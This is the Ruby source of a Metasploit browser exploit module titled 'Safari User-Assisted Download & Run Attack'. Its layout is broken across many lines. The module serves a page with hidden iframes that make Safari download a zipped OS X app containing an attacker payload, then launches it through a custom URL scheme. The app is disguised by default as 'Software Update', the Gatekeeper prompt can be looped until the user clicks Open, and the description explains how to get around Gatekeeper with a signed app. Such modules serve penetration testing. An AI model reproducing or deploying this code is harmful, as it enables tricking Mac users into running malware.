##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::
EXE
include Msf::Exploit::Remote::BrowserExploitServer
# Note: might be nicer to do this with mounted FTP share, since we can
# unmount after the attack and not leave a trace on user's machine.
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'Safari User-Assisted Download & Run Attack'
,
'Description'
=> %q{
This
module
abuses some Safari functionality to force the download of a
zipped .app
OSX
application containing our payload. The app is
then
invoked using a custom
URL
scheme. At this point, the user is presented
with Gatekeeper's prompt:
"APP_NAME"
is an application downloaded from the internet. Are you sure you
want to open it?
If the user clicks
"Open"
, the app
and
its payload are executed.
If the user has the "Only allow applications downloaded from Mac App Store
and
identified developers (on by default on
OS
10
.
8
+), the user will see
an error dialog containing "can't be opened because it is from an unidentified
developer." To work around this issue, you will need to manually build
and
sign
an
OSX
app containing your payload with a custom
URL
handler called
"openurl"
.
You can put newlines & unicode
in
your
APP_NAME
, although you must be careful
not
to create a prompt that is too tall,
or
the user will
not
be able to click
the buttons,
and
will have to either logout
or
kill the CoreServicesUIAgent
process.
},
'License'
=>
MSF_LICENSE
,
'Targets'
=>
[
[
'Mac OS X x86 (Native Payload)'
,
{
'Platform'
=>
'osx'
,
'Arch'
=>
ARCH_X86
,
}
],
[
'Mac OS X x64 (Native Payload)'
,
{
'Platform'
=>
'osx'
,
'Arch'
=>
ARCH_X64
,
}
]
],
'DefaultTarget'
=>
0
,
'Author'
=> [
'joev'
],
'BrowserRequirements'
=> {
:source
=>
'script'
,
:ua_name
=> HttpClients::
SAFARI
,
:os_name
=> OperatingSystems::
MAC_OSX
,
# On 10.6.8 (Safari 5.x), a dialog never appears unless the user
# has already manually launched the dropped exe
:ua_ver
=> lambda { |ver| ver.to_i !=
5
}
}
))
register_options([
OptString.
new
(
'APP_NAME'
, [
false
,
"The name of the app to display"
,
"Software Update"
]),
OptInt.
new
(
'DELAY'
, [
false
,
"Number of milliseconds to wait before trying to open"
,
2500
]),
OptBool.
new
(
'LOOP'
, [
false
,
"Continually display prompt until app is run"
,
true
]),
OptInt.
new
(
'LOOP_DELAY'
, [
false
,
"Time to wait before trying to launch again"
,
3000
]),
OptBool.
new
(
'CONFUSE'
, [
false
,
"Pops up a million Terminal prompts to confuse the user"
,
false
]),
OptString.
new
(
'CONTENT'
, [
false
,
"Content to display in browser"
,
"Redirecting, please wait..."
]),
OptPath.
new
(
'SIGNED_APP'
, [
false
,
"A signed .app to drop, to workaround OS 10.8+ settings"
])
],
self
.
class
)
end
def
on_request_exploit(cli, request, profile)
if
request.uri =~ /\.zip/
print_status(
"Sending .zip containing app."
)
seed = request.qstring[
'seed'
].to_i
send_response(cli, app_zip(seed), {
'Content-Type'
=>
'application/zip'
})
else
# send initial HTML page
print_status(
"Sending #{self.name}"
)
send_response_html(cli, generate_html)
end
handler(cli)
end
def
generate_html
%
Q
|
<html><body>
#{datastore['CONTENT']}
<iframe id=
'f'
src=
'about:blank'
style=
'position:fixed;left:-500px;top:-500px;width:1px;height:1px;'
>
</iframe>
<iframe id=
'f2'
src=
'about:blank'
style=
'position:fixed;left:-500px;top:-500px;width:1px;height:1px;'
>
</iframe>
<script>
(function() {
var r = parseInt(Math.random() *
9999999
);
if
(
#{datastore['SIGNED_APP'].present?}) r = '';
var f = document.getElementById(
'f'
);
var f2 = document.getElementById(
'f2'
);
f.src =
"#{get_module_resource}/#{datastore['APP_NAME']}.zip?seed="
+r;
window.setTimeout(function(){
var go = function() { f.src =
"openurl"
+r+
"://a"
; };
go();
if
(
#{datastore['LOOP']}) {
window.setInterval(go,
#{datastore['LOOP_DELAY']});
};
},
#{datastore['DELAY']});
if
(
#{datastore['CONFUSE']}) {
var w =
0
;
var ivl = window.setInterval(function(){
if
(w++ >
200
) clearInterval(ivl);
},
#{datastore['LOOP_DELAY']});
}
})();
</script>
</body></html>
|
end
def
app_zip(seed)
if
datastore[
'SIGNED_APP'
].present?
print_status
"Zipping custom app bundle..."
zip = Rex::Zip::Archive.
new
zip.add_r(datastore[
'SIGNED_APP'
])
zip.pack
else
plist_extra = %
Q
|
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLName</key>
<string>Local
File
</string>
<key>CFBundleURLSchemes</key>
<array>
<string>openurl
#{seed}</string>
</array>
</dict>
</array>
|
my_payload = generate_payload_exe(
:platform
=> [Msf::
Module
::Platform::
OSX
])
Msf::Util::
EXE
.to_osx_app(my_payload,
:app_name
=> datastore[
'APP_NAME'
],
:plist_extra
=> plist_extra
)
end
end
end